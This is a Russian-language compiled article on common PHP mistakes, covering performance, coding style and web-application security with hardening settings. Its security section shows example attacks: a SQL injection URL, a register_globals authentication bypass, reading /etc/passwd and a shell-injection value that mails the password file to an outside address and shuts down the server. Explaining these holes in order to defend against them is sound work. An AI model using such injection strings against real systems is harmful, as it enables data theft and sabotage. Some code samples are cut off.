Авторам оригинальных статей – мои искренние соболезнования, за жуткое изуверство над их словами.
Эту статью я получил компиляцией
статей:
Стерлинг Хьюз. 21 ошибка программиста PHP
(http://www.zend.com/zend/art/mistake.php)
Foto.Ru
team. Сборник стандартных ошибок PHP-программиста
(http://php4you.kiev.ua/docs/print/bugz.htm) Автор Илья
Басалаев Приемы безопасного программирования
веб-приложений на PHP.
(http://phpclub.unet.ru/tutor/safeprog.html)
Shaun
Clowes Exploiting Common Vulnerabilities in PHP
Applications.
В этой работе я постарался собрать
и систематизировать наиболее характерные ошибки в
написании кода на языке PHP. Некоторые ошибки
отрицательно сказываются на производительности системы,
а некоторые предоставляют возможность нарушить
целостность данных, или получить доступ к секретной
информации. Многие ошибки, приведенные здесь, не
являются специфичными именно для PHP, а являются общими
для CGI-программирования.
PHP (аббревиатура PHP рекурсивно
расшифровывается как "PHP Hypertext Preprocessor") — это
язык написания скриптов, которые встраиваются
непосредственно в гипертекстовые файлы и исполняются на
Web-сервере. Программа на PHP заключается в теги , ?>,
а интерпретатор обрабатывает команды между этой парой
тегов и формирует окончательный файл, передающийся на
локальную машину.
Одна из наиболее сильных сторон
PHP является, одновременно, и его слабой стороной: PHP
очень прост в изучении. Это привлекает многих людей;
однако, несмотря на его кажущуюся простоту, не так-то
просто научиться использовать этот язык правильно и
эффективно.
Язык PHP был специально разработан
для web-программирования, и вопросам безопасности
приложений уделялось много внимания, однако некорректная
настройка интерпретатора и собственные ошибки
PHP-программиста могут поставить под угрозу ваши
разработки.
PHP уже стал зрелым языком, легким в
изучении и работающим на многих платформах. Однако за
его гибкость и легкость использования приходится платить
системными ресурсами. PHP, как все интерпретируемые
языки, должен перед выполнением компилироваться в код,
понятный платформе, на которой работает.
Интерпретируемый код может сильно ухудшить
производительность, особенно на слабой или перегруженной
машине, потому что затрачивается много времени на
обработку кода. PHP скрипт работает достаточно быстро,
но не так быстро как заранее скомпилированная
программа.
Интерпретируемый код может сильно
ухудшить производительность, особенно на слабой или
перегруженной машине, потому что затрачивается много
времени на обработку кода. PHP скрипт работает
достаточно быстро, но не так быстро как заранее
скомпилированная программа.
Интерпретатор PHP4,
который называется Zend Engine, имеет два компонента:
компилятор и исполняющий модуль (как дополнительные
модули существуют: сложная система буферизации,
значительно ускоряющая частоповторяемые запросы, и
многопроходный оптимизатор). Компилятор просматривает
ваш скрипт за один проход (в PHP3 скрипт
интерпретируется построчно), компилирует его и затем
передает исполняющему модулю.
На рисунке представлена упрощенная
структура выполнения запроса. Номерами отмечен порядок
выполнения запроса.
Использование PHP целесообразно при
создании часто обновляемых либо громоздких в написании
программ, скорость выполнения для которых не является
критическим параметром (имеется в виду, что если разница
между временем выполнения скрипта на С и скрипта на PHP
составляет 10-20%, то вполне можно предпочесть скорость
разработки скорости выполнения) и необходимости быстрого
создания полнофункционального приложения.
Однако
если вы задумываете ваше приложение как полностью
объектно-ориентированное, то, возможно, вам следует
обратиться к специализированным языкам, таким как Python
и Ruby, или использовать связку PHP – Java. PHP хоть и
поддерживает основные объектно-ориентированные
конструкции, но далеко не в полном объеме (не
поддерживаются защищенные члены класса, множественное
наследие).
Если необходимо создание
высокопроизводительных приложений, обрабатывающих много
запросов в секунду (например, систему баннерной сети),
то стоит использовать предкомпилируемые языки.
Плохо документированный текст программы –
явление характерное для всех языков программирования.
Это усложняет анализ вашей программы с целью внесения
улучшений, к тому же комментирование кода организует
самого автора программы, позволяет точно сформулировать
цель и методы ее достижения.
Все программисты
считают самодокументированный код хорошим тоном, но сами
крайне редко пишут комментарии. Следует также избегать
избыточных комментариев, это тоже встречается очень
редко, и, опять же, создает трудно читаемый исходный
код.
Существует несколько основных принципов:
Используйте единую систему именования
переменных и функций во всех своих
программах.
Наиболее типичные ошибки:
$username = 'sterling';
|
$username_for_database = 'sterling';
|
Не стоит писать свои функции вместо уже
имеющихся стандартных. Например, чтобы разбить строку на
части используйте функцию:
array explode (string separator, string string [, int limit]) |
Никогда не забывайте об исключительных
ситуациях: если во время тестирования все работает
нормально, это не значит, что когда-нибудь не произойдет
ошибка.
Всегда проверяйте, были ли успешно выполнены
системные вызовы, подключения к базам данных, функции, в
которых потенциально могут возникнуть
ошибки.
Например, подключение к базе данных:
$conn = @sql_connect ($host, $user,
$pass); |
Попробуйте сделать код как можно более
модульным. Потом вам (и другим тоже) можно будет сменить
дизайн страницы без изменения кода PHP.
Многие
рекомендуют объединять код HTML (интерпретируемый на
стороне клиента) и код PHP (выполняемый сервером) в один
большой файл. Для маленьких сайтов это, возможно,
неплохо. Но, когда ваш сайт начнет расти, вы можете
столкнуться с проблемами при необходимости добавить
какие-либо новые функции. Такой стиль программирования
приводит к очень «непослушному» и громоздкому
коду.
Проблему можно решить с помощью создания
функций динамического формирования вывода и поместить их
в нужное место на веб-странице.
Например, так:
<?php include_once ("site.lib");
?> |
Или использовать шаблоны: некоторые
элементы дизайна заменяются пользовательскими тегами, а
сама программа сканирует файл на предмет их наличия и
заменяет их необходимой информацией.
Пример
использования шаблонов:
<html> |
Применение шаблонов более логично, к тому же редактирование дизайна документа не требует знаний PHP, однако это все же более медленный способ – ведь надо сканировать весь шаблон, и лишь потом выводить данные (естественно этот процесс автоматизирован – существует несколько готовых библиотек, самая известная из которых fasttemplate).
Использование чужих разработок,
несомненно, ускоряет создание приложений, однако не
стоит слепо копировать чужой код - он может повести себя
не совсем так, как вы предполагали вначале. Возможно,
это будет совершенно незаметная на первый взгляд
деталь.
Так же уделяйте особое внимание
комментированию кода, который вы собираетесь
использовать в других своих приложениях, или отправить в
публичный архив.
Используйте источники, которые
вызывают доверие, например архив PEAR
(http://pear.php.net/)
Многие начинающие программисты вместо
того, что бы воспользоваться базой данных пытаются
создать свою реализацию программы хранения, поиска и
сортировки данных – в большинстве случаев гораздо
удобнее и быстрее воспользоваться базой данных
(например, MySQL).
Например, вместо сортировки
средствами PHP:
$statement = "SELECT name, email,
phone FROM some_table "; |
$statement = "SELECT name, email,
phone FROM some_table "; |
Хотя стоит оговориться, что иногда стоит взять часть нагрузки БД на сторону собственной программы, если БД сильно перегружена.
Старайтесь использовать новые версии
программных инструментов, как правило, они работаю
быстрее и надежнее (так компания Zend Technologies,
имеющая в своем составе много разработчиков и
архитекторов языка PHP, утверждает, что скорость
интерпретации кода в PHP4 увеличилась на 20-100% по
сравнению с PHP3).
Это не означает, что при
появлении первой альфа версии нужно ее тут же
устанавливать (в ней еще могут быть недоработки и еще не
найденные разработчиками ошибки), однако постарайтесь не
отставать от прогресса.
Например, функцию printf() следует использовать только для вывода форматированных данных (при необходимости вывода переменной в формате с плавающей запятой с определенной точностью, либо в любом другом случае, когда возникает необходимость изменения формата выводимых данных). Вызов функции printf() зачастую используется там, где следовало бы использовать print(). В следующем примере функция printf() используется для вывода четырех переменных:
$name = 'Sterling Hughes'; |
В данном случае возможно (и желательно!) применение print():
print "Меня зовут
$name\n<br>\n |
Функция printf() форматирует свои аргументы перед выводом. Таким образом, время ее выполнения больше, чем для функций print() или echo().
Старайтесь при работе с регулярными
выражениями всегда, когда это возможно, использовать
preg, эта функция выполняется на порядок быстрее
ereg.
Опять же, если вам нужно только произвести
замену в какой-то строке – для повышения быстродействия
лучше использовать специализированную функцию
str_replace
Многие используют временные переменные
там, где без них вполне можно было бы вполне
обойтись.
Типичный пример лишней переменной:
<?php |
Когда можно написать просто:
<?php |
Использование временных переменных
замедляет выполнение программы. Для увеличения скорости
кода, где это возможно, лучше воспользоваться вложением
функций. Использование временных переменных зачастую
увеличивают время выполнения скриптов почти на
четверть.
Еще одна причина, по которой следует
избегать использования излишнего количества временных
переменных, это ухудшение читаемости кода.
Тем не
менее, введение временных переменных иногда позволяет
упростить некоторые сложные выражения или вызовы
функций. Еще они приносят пользу, когда позволяют
избежать многократного вызова функции с одними и теми же
аргументами.
То, что вы можете сделать, не всегда
следует делать.
Некоторые программисты вновь и вновь
используют старые библиотеки и старые наработки.
Например, код, написанный еще под PHP 2, до сих пор
используется с PHP4, хотя уже начиная с версии PHP3 были
добавлены стандартные функции, реализующие то же
самое.
Использование устаревших функций и синтаксиса
могут снизить скорость выполнения кода и, к тому же,
сделать его нечитаемым. Другие программисты могут быть
незнакомы со старыми функциями. Но, тем не менее, если
вы встретили участок старого кода, не обязательно его
переписывать с учетом новых правил языка. Просто не надо
его использовать при написании новых программ.
Пример
использования старых языковых конструкций:
<?php // Старый стиль while (1): print "5"; if ( $idx++ == 5 ): break; endif; endwhile; // Лучше написать так // (впрочем, код можно оптимизировать) while (1) { print "5"; if ( $idx++ == 5 ) { break; } } ?> |
Использование старых конструкций не очень распространено и, таким образом, новички в PHP теряются, увидев два разных варианта синтаксиса. К тому же, возможно, в одной из новой версий, будет исключена поддержка старого синтаксиса, тем самым это заставит вас переписать код заново. Как бы то ни было, скобки всегда останутся часть языка PHP.
Первой заповедью веб-программиста,
желающего написать защищенное веб-приложение, должно
стать "Никогда не верь данным, присылаемым тебе
пользователем". Поэтому первое, что необходимо сделать -
это жесточайшим образом отфильтровать все данные,
присланные пользователем.
Большинство
PHP-скриптов принимают входящие параметры от
пользователя. Причем предполагается некий формат этих
параметров. Например, при передаче номера товара,
новости, и т.д., предполагается, что этот параметр имеет
числовое значение. Зачастую эти параметры без проверки
принимают участие в запросах к базе данных или еще к
какому-то источнику данных. В этом случае несоблюдение
формата данных может привести к "обнародованию"
структуры БД, расположения файлов в ФС и тому подобной
информации "Для Служебного Пользования".
Например, если переменная передается через метод
GET:
http://www.site.ru/script.php?number=1
Потенциально
он может быть заменен
на:
http://www.site.ru/script.php?number=A
Предположим,
что в скрипте происходит выполнение
запроса:
$query = "SELECT * FROM sometable WHERE
id=".$number;
В этом случае выполнение второго
варианта скрипта нам даст предупреждение и кусок
запроса.
Предположим запрос возвращает не одну
запись, а выборку записей. Тогда изменяя GET-строку
можно таким образом модифицировать запрос, что он будет
возвращать нечто, не предусмотренное скриптом. Например,
преобразовав значение переменной $number к виду "1 or
1=1".
Т.е.
http://www.site.ru/script.php?number=1%20or%201%3D1
Получаем
все записи из таблицы. Те же варианты, но с еще более
тяжелыми последствиями возможны при использовании
UPDATE-запросов.
Данные, получаемые от
пользователя, надо обязательно
проверять!
Желательно так же проводить проверку
переменной окружения web-сервера HTTP-REFERER, чтобы
знать, что данные были переданы именно со страницы
вашего сервера, хотя это не может служить 100%-ой
гарантией. Ведь переменная HTTP_REFERER формируется
браузером, и ее можно сформировать, зайдя телнетом на
80-ый порт.
Для данных, переданных через запрос POST, GET или cookies автоматически создаются глобальные переменные. Например, если пользователь заполнит и отправит следующую форму:
<FORM METHOD="GET"
ACTION="test.php"> |
В скрипте test.php будет автоматически
создана глобальная переменная $hello, со значением,
введенным в форме. Таким образом, удаленный пользователь
может создавать любые глобальные переменные в
php-программах!
Это довольно удобно при
программировании, но в гораздо большей степени
опасно!
Например, если у вас в программе есть такая
проверка пароля пользователя:
<?php if ($password == "mypas") $auth = 1; ... if ($auth == 1) echo "some important information"; ?> |
то, создав переменную $auth со значением 1
можно получить доступ к секретной информации без знания
пароля.
http://www.server.ru/test.php?password=someone&auth=1
Чтобы
избежать таких случаев – инициализируйте все
используемые переменные в начале программы, а лучше
вообще отключить автоматическое создание переменных, и
обращаться к данным, переданным пользователем через
стандартные массивы HTTP_GET_VARS, HTTP_POST_VARS,
HTTP_COOKIE_VARS.
Еще один потенциальный источник угроз –
открытие файлов с параметрами, каким либо образом
полученными от пользователя.
Например, если коду,
предназначенному для отображения файла в браузер:
<?php |
передать в качестве имени файла
'/etc/passwd', то выведется значение этого
файла.
Причем в PHP функция fopen по умолчанию может
открывать как локальные файлы, так и удаленные по
протоколам HTTP и FTP.
Крайне осторожно следует использовать
системные вызовы.
Например, скрипт предназначенный
для отсылке на введенный пользователем адрес файла
products.txt:
<?php |
может быть использован для выполнения команды на сервере:
$to=' bad@somewhere.com < /etc/passwd; shutdown now; ' |
Т.е. будет принято к исполнению три
команды: отсылка файла паролей по введенному адресу,
выключение сервера и ошибочная команда '<
products.txt' , которая так и не выполнится, т.к. сервер
начнем выключаться.
Конечно, на большинстве
работающих сейчас серверов это не сработает, т.к.
отключены системные вызовы из PHP, однако если
администратор сервера поленился это сделать…
Вырезать
из строки команды оболочки можно функцией
escapeshellcmd:
$string = escapeshellcmd($string); |
Простейший и надежнейший способ
аутентикации пользователя - размещение скриптов в
директории, защищенной файлом .htaccess. Для преодоления
такой защиты нужно уже проверять на прочность не
приложение, а web-сервер. Что не укладывается в рамки
темы этой статьи. Однако не всегда этот способ пригоден
к употреблению - иногда бывает надо проводить
авторизацию средствами самого приложения.
Первый,
самый простой способ - авторизация средствами HTTP -
через код 401. При виде такого кода возврата, браузер
высветит окошко авторизации и попросит ввести логин и
пароль. А в дальнейшем браузер при получении кода 401
будет пытаться передать web-серверу текущие для данного
realm'а логин и пароль, и только в случае неудачи
потребует повторной авторизации.
Вот пример кода для
вывода требования на такую авторизацию:
if (!isset($PHP_AUTH_USER))
{ |
Разместим этот кусочек кода в начале скрипта admin1.php. После его выполнения, у нас будут две установленные переменные $PHP_AUTH_USER и PHP_AUTH_PW, в которых соответственно будут лежать имя и пароль, введенные пользователем. Их можно, к примеру, проверить по SQL-базе:
$sql_stat="select password from
peoples where name='$PHP_AUTH_USER'"; |
В приведенном фрагменте кода допущена серьезная ошибка в безопасности. Допустим, введено заведомо несуществующее имя пользователя и пустой пароль. При этом в результате выборки из базы переменная $rpassword принимает пустое значение. Алгоритм шифрования паролей при помощи функции СУБД MySQL Password(), так же, впрочем, как и стандартный алгоритм Unix, при попытке шифрования пустого пароля возвращает пустое значение. В итоге - $password == $rpassword, условие выполняется и открывается доступ к защищенной части приложения. Исправляется это либо запрещением пустых паролей, либо, вставкой следующего фрагмента кода:
if (mysql_numrows($result) != 1)
{ |
То есть - проверкой наличия одного и только одного пользователя в базе.
Часто приходится хранить частоиспользуемые
данные и функции в отдельных файлах, и потом подключать
их, используя include или require.
Эти файлы обычно
не обрабатываются парсером, т.е. их можно смотреть через
браузер, но этого следует избегать. Давать таким файлам
расширение .php не очень правильно, т.к. их можно
вызвать через браузер, и, хотя мы и не увидим
содержимое, но, наверняка, у нас начнут проявляться
какие-либо ошибки PHP, т.к. код внутри файлов обычно
рассчитан на исполнение в определенном
окружении.
Такие файлы стоит размещать за пределами
web-сервера, или запрещать к ним доступ с помощью
.htaccess.
Настройки в файле httpd.conf в блоке конфигурации каждого виртуального хоста:
Запретить создание глобальных переменных из
пользовательского ввода
php_admin_flag
register_globals off
Включить режим safe_mode
php_admin_flag
safe_mode on
В режиме safe_mode PHP проверяет
владельца запущенного скрипта, и если скрипт пытается
открыть какой-либо файл - делает это с правами этого
владельца.
Например,
если:
-rw-rw-r-- 1 webuser webuser 33 Jul 1 19:20 script.php
Пытается
выполнить:
<?php |
То он получает в ответ:
Warning:
SAFE MODE Restriction in effect. The script whose uid
is 500 is not allowed to access /etc/passwd owned by
uid 0 in /docroot/script.php on line 2
Выключить вывод сообщений об ошибках в
html документ, и включить регистрирование ошибок в
лог-файле.
php_admin_flag display_errors
off
php_admin_flag log_errors on
Запретить открытие удаленных файлов, если они не
нужны
php_admin_flag allow_url_fopen
off
Скрыть PHP
php_admin_flag
expose_php off
Эта директива сообщает, может ли
PHP оповещать пользователей о своем существовании на
данном сервере, например, добавляя HTTP заголовок.
Ограничения на
каталоги
php_admin_value doc_root
/home/USER/htdocs
Если PHP сконфигурирован для
работы в safe mode, то файлы, лежащие вне этого
каталога, не будут
обрабатываться.
php_admin_value open_basedir
/home/USER/htdocs
Ограничивает область файлов,
которые может открыть PHP только в заданном дереве
каталогов. Когда скрипт пытается открыть файл
(например, fopen) проверяется его расположение. Если
файл находиться за указанным деревом, PHP откажет в
его открытии.
php_admin_value
safe_mode_exec_dir /home/USER/bin
Если PHP
используется в safe mode, функции запуска системных
процессов (system и другие) не смогут запустить
программы, которые находятся не в этом
каталоге.
Возможно, вы захотите просто спрятать свой
php-скрипт, для этого кроме уже рекомендованной опции
expose_php off можно ассоциировать интерпретатор php с
необычным типом файлов.
Например, маскировать под
другой скрипт:
AddType application/x-httpd-php
.asp .py .pl
Использовать несуществующие
типы:
AddType application/x-httpd-php .rus .cccp
.msdos
Замаскировать под простой
html:
AddType application/x-httpd-php .htm
.html